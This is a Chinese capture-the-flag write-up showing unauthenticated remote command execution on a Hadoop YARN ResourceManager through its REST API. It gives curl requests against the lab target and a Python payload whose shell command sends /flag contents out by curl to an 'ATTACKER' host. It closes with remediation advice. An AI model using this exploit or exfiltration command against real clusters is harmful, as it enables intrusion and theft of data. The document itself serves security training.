玄机网络安全靶场:Hadoop YARN ResourceManager 未授权 RCE WP

解题报告:Hadoop YARN ResourceManager 未授权 RCE

题目名称 :Hadoop YARN ResourceManager(Unauthorized)
难度 :简单
分类 :渗透
Flagflag{41d1290e-e2d2-4028-85ce-43909a1787c4}


漏洞背景

Hadoop YARN(Yet Another Resource Negotiator)是 Apache Hadoop 的集群资源管理系统。YARN ResourceManager 提供了一套 REST API 用于集群管理,默认情况下该 API 无需任何认证即可访问。攻击者可以通过以下步骤在集群节点上执行任意命令:

  1. 调用 POST /ws/v1/cluster/apps/new-application 创建新的 Application ID
  2. 调用 POST /ws/v1/cluster/apps 提交包含恶意命令的 Application
  3. YARN 的 NodeManager 会在容器中执行该命令

靶机信息

项目
靶机 IP 43.192.45.210
服务端口 8088(YARN ResourceManager Web UI)
服务版本 Hadoop YARN(Jetty 6.1.26)
目标文件 /flag

利用过程

第一步:确认服务连通性

bash 复制代码
curl -v http://43.192.45.210:8088/
# 返回 HTTP 302 → /cluster,确认 YARN 服务正常运行

第二步:获取新 Application ID

bash 复制代码
curl -s -X POST "http://43.192.45.210:8088/ws/v1/cluster/apps/new-application" \
    -H "Content-Type: application/json"
# 返回:{"application-id":"application_1776602744486_0011",...}

第三步:提交恶意 Application

通过 Python 构造 JSON payload,命令使用 /bin/sh -c 执行,将 /flag 内容通过 curl 外带到攻击者服务器:

python 复制代码
command = '/bin/sh -c \'curl -sk "https://ATTACKER/?r=$(cat /flag 2>&1 | tr -d \'\\n\')"\''

payload = {
    "application-id": app_id,
    "application-name": "exploit",
    "am-container-spec": {
        "commands": {"command": command}
    },
    "application-type": "YARN",
    "unmanaged-AM": False,
    "max-app-attempts": 1,
    "resource": {"memory": 1024, "vCores": 1},
    ...
}

第四步:接收外带数据

在攻击者服务器上启动 HTTP 服务,收到请求:

复制代码
GET /flag1?r=flag41d1290e-e2d2-4028-85ce-43909a1787c4 HTTP/1.1

Flag: flag{41d1290e-e2d2-4028-85ce-43909a1787c4}


关键技术点

技术点 说明
无认证 REST API YARN ResourceManager 默认不需要认证
Application 提交 通过 REST API 提交包含任意命令的 Application
命令执行环境 NodeManager 容器中以 hadoop 用户执行
外带方式 靶机可以访问外网,用 curl 将结果发送到攻击者服务器
base64 问题 靶机环境 base64 -w 0 不支持,改用 tr -d '\n' 去除换行

修复建议

  1. 为 YARN ResourceManager REST API 启用 Kerberos 认证
  2. 配置防火墙,限制 8088 端口只允许内网访问
  3. 启用 YARN 的 ACL(Access Control List)功能
  4. 升级到支持认证的 Hadoop 版本并正确配置安全模式

相关推荐
知行合一。。。2 小时前
RAG--03--Milvus基本用法
数据库·oracle·milvus
TDengine (老段)3 小时前
TDengine 线程模型 — 网络、调度、执行
大数据·数据库·物联网·制造·时序数据库·tdengine·涛思数据
INS_KF4 小时前
【编程笔记】成员函数中两个 const 的区别(const Data &getData() const;)
前端·javascript·笔记
上学的小垃圾4 小时前
01-数据库系统概述
数据库
二进制漫游记5 小时前
FastAPI项目集成 Qdrant向量数据库+阿里云Embedding完整实战(工具封装+业务调用)
数据库·python·阿里云·embedding
2501_928996225 小时前
GPT-4o换DeepSeek迁移成本多少?中科热备解析API聚合平台技术账本
前端·数据库·人工智能
莫得感情 o5 小时前
Redis 05 · 持久化:RDB 与 AOF 怎么保证数据不丢
redis·缓存
tju新生代魔迷5 小时前
Verilog HDL 学习笔记(十三)| 第13章 编程语言接口(PLI)
笔记·学习
智购科技自动贩卖机5 小时前
自动售货机嵌入式状态机设计实战:从45个事件源到层次型状态机的工程重构
大数据·人工智能·stm32·物联网·重构·硬件架构
乐迪信息5 小时前
智慧港口船舶AI算法实现在线状态监测
大数据·人工智能·深度学习·算法·计算机视觉